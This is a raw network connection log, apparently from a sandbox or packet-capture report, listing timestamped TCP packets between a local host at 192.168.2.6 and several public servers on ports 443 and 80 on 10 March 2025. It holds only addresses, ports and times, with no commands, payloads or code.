Mar 10, 2025 13:56:19.653913975 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:20.071392059 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.071427107 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.071523905 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.071774006 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:20.073421001 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:20.073441982 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.161000967 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.161027908 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.161109924 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:20.161111116 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.161164999 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:20.162769079 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:20.162789106 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.164690971 CET	49717	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:20.164745092 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.172024965 CET	49717	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:20.172370911 CET	49717	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:20.172430992 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:20.437258959 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.437282085 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.437372923 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:20.437391043 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.440016985 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:20.440031052 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.440234900 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:20.440239906 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.440486908 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:20.440491915 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.665682077 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:20.665752888 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:20.668159962 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:20.668169975 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:20.668325901 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:20.668330908 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:20.668479919 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:20.668484926 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:20.782140970 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.782588005 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:20.782609940 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.810983896 CET	49678	443	192.168.2.6	20.42.65.91
Mar 10, 2025 13:56:20.887228966 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.901479959 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.901546001 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:20.901578903 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.925470114 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.925537109 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:20.925554991 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.954479933 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.954529047 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.954551935 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:20.954569101 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.954595089 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.954652071 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:20.954660892 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:20.954822063 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:21.000370026 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:21.032633066 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.032979012 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.033013105 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.055434942 CET	49672	443	192.168.2.6	204.79.197.203
Mar 10, 2025 13:56:21.055450916 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:21.130517960 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.180449009 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.263777971 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.318732023 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.318762064 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.691906929 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.691988945 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.724869013 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.725178003 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.725217104 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.726993084 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.727210999 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.727247000 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.728249073 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.728334904 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.728683949 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.728748083 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.728840113 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.729212999 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.729281902 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.729598045 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.729705095 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.729783058 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.733792067 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.733969927 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.733998060 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.735074043 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.735140085 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.735455990 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.735533953 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.735575914 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.743072033 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.743124008 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.743273973 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.743294954 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.743683100 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.749800920 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.749821901 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.749876976 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.749892950 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.756480932 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.756532907 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.756572962 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.763295889 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.763365030 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.769953012 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.769998074 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.770015955 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.773303986 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.773345947 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.773386002 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.773399115 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.780323029 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.784081936 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.784136057 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.784147978 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.784174919 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.784225941 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.784234047 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.788486004 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.788497925 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:21.816870928 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.816907883 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.834108114 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:21.834121943 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.835262060 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.835329056 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.835360050 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.835515976 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.835531950 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.839705944 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.839756012 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.839765072 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.846446037 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.846466064 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.846497059 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.846524000 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.846591949 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.849874973 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.856518030 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.856579065 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.856590033 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.856642962 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.856702089 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.863346100 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.863404989 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.870209932 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.870271921 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.870286942 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.870417118 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.876960993 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.876992941 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.877053022 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.877077103 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.883699894 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.883753061 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.883768082 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.890393972 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.890414953 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.890444994 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.890455008 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.890584946 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.894391060 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.894529104 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.894702911 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.894714117 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.898536921 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.898663998 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.898673058 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.902529955 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.902582884 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.902590990 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.902605057 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.902708054 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.927284002 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.927321911 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.927525043 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.927531958 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.927565098 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.927589893 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.927711010 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.927721977 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.928025961 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.928092003 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.951565027 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.951590061 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.951622963 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.951631069 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.951658964 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.951735973 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.951939106 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.951987982 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.952020884 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.952100039 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.952107906 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.952970982 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.953006983 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.953023911 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.953032970 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.953095913 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.955766916 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.955823898 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.959278107 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.959307909 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.959508896 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.962912083 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.962965965 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.964138031 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.966638088 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.966702938 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.966717958 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.970345020 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.970375061 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.972065926 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.974097013 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.974658012 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.977772951 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.978178024 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.978187084 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.978681087 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.981399059 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.981426954 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.981556892 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.985011101 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.985084057 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.985161066 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.985169888 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.988790035 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.988816977 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.988847017 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.992516041 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.992556095 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.992573977 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.992635012 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.993151903 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.995878935 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.995940924 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.996052027 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:21.996059895 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.999351978 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:21.999407053 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:22.002439976 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:22.002455950 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:22.002500057 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:22.002510071 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:22.002580881 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:22.019542933 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:22.067078114 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:22.783035994 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.783128977 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.783174038 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:22.784132004 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:22.784152031 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.784817934 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.784903049 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.784970999 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:22.785000086 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.785059929 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.785099030 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:22.785170078 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:22.786130905 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:22.786149025 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.788091898 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:22.788412094 CET	49717	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:22.788420916 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:22.788764954 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:22.789184093 CET	49717	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:22.789277077 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:22.789504051 CET	49717	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:22.796653032 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.796684027 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.796691895 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.796720028 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.796751976 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.796991110 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:22.797986031 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:22.797998905 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:22.832328081 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:22.835609913 CET	49717	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:23.369380951 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:23.369409084 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:23.369518995 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:23.369680882 CET	49717	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:23.370507956 CET	49717	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:23.370529890 CET	443	49717	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:26.233699083 CET	49725	80	192.168.2.6	172.217.18.3
Mar 10, 2025 13:56:26.238794088 CET	80	49725	172.217.18.3	192.168.2.6
Mar 10, 2025 13:56:26.238908052 CET	49725	80	192.168.2.6	172.217.18.3
Mar 10, 2025 13:56:26.239062071 CET	49725	80	192.168.2.6	172.217.18.3
Mar 10, 2025 13:56:26.244158030 CET	80	49725	172.217.18.3	192.168.2.6
Mar 10, 2025 13:56:26.879218102 CET	80	49725	172.217.18.3	192.168.2.6
Mar 10, 2025 13:56:26.885345936 CET	49725	80	192.168.2.6	172.217.18.3
Mar 10, 2025 13:56:26.890409946 CET	80	49725	172.217.18.3	192.168.2.6
Mar 10, 2025 13:56:27.070044994 CET	80	49725	172.217.18.3	192.168.2.6
Mar 10, 2025 13:56:27.119122028 CET	49725	80	192.168.2.6	172.217.18.3
Mar 10, 2025 13:56:28.259066105 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:28.259186983 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:28.259329081 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:28.431308985 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:28.431344986 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:30.419420004 CET	49678	443	192.168.2.6	20.42.65.91
Mar 10, 2025 13:57:06.007894039 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:57:06.007921934 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:57:07.023397923 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:57:07.023427010 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:57:16.680988073 CET	49738	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:57:16.681035995 CET	443	49738	142.250.185.68	192.168.2.6
Mar 10, 2025 13:57:16.681099892 CET	49738	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:57:16.681473970 CET	49738	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:57:16.681488991 CET	443	49738	142.250.185.68	192.168.2.6
Mar 10, 2025 13:57:18.702368021 CET	443	49738	142.250.185.68	192.168.2.6
Mar 10, 2025 13:57:18.704721928 CET	49738	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:57:18.704761028 CET	443	49738	142.250.185.68	192.168.2.6
Mar 10, 2025 13:57:18.705988884 CET	443	49738	142.250.185.68	192.168.2.6
Mar 10, 2025 13:57:18.709084988 CET	49738	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:57:18.709285975 CET	443	49738	142.250.185.68	192.168.2.6
Mar 10, 2025 13:57:18.758187056 CET	49738	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:57:21.054847956 CET	443	49681	2.23.227.215	192.168.2.6
Mar 10, 2025 13:57:21.054999113 CET	443	49681	2.23.227.215	192.168.2.6
Mar 10, 2025 13:57:21.055038929 CET	49681	443	192.168.2.6	2.23.227.215
Mar 10, 2025 13:57:21.055073977 CET	49681	443	192.168.2.6	2.23.227.215
Mar 10, 2025 13:57:27.727370977 CET	49725	80	192.168.2.6	172.217.18.3
Mar 10, 2025 13:57:27.732909918 CET	80	49725	172.217.18.3	192.168.2.6
Mar 10, 2025 13:57:27.733012915 CET	49725	80	192.168.2.6	172.217.18.3
Mar 10, 2025 13:57:28.392561913 CET	443	49738	142.250.185.68	192.168.2.6
Mar 10, 2025 13:57:28.392718077 CET	443	49738	142.250.185.68	192.168.2.6
Mar 10, 2025 13:57:28.392810106 CET	49738	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:57:28.541870117 CET	49738	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:57:28.541917086 CET	443	49738	142.250.185.68	192.168.2.6
Mar 10, 2025 13:57:51.023480892 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:57:51.023510933 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:57:52.023535967 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:57:52.023555994 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:58:20.921092987 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:58:20.921242952 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:58:20.921482086 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:58:20.921504021 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:58:21.720778942 CET	443	49709	172.67.41.16	192.168.2.6
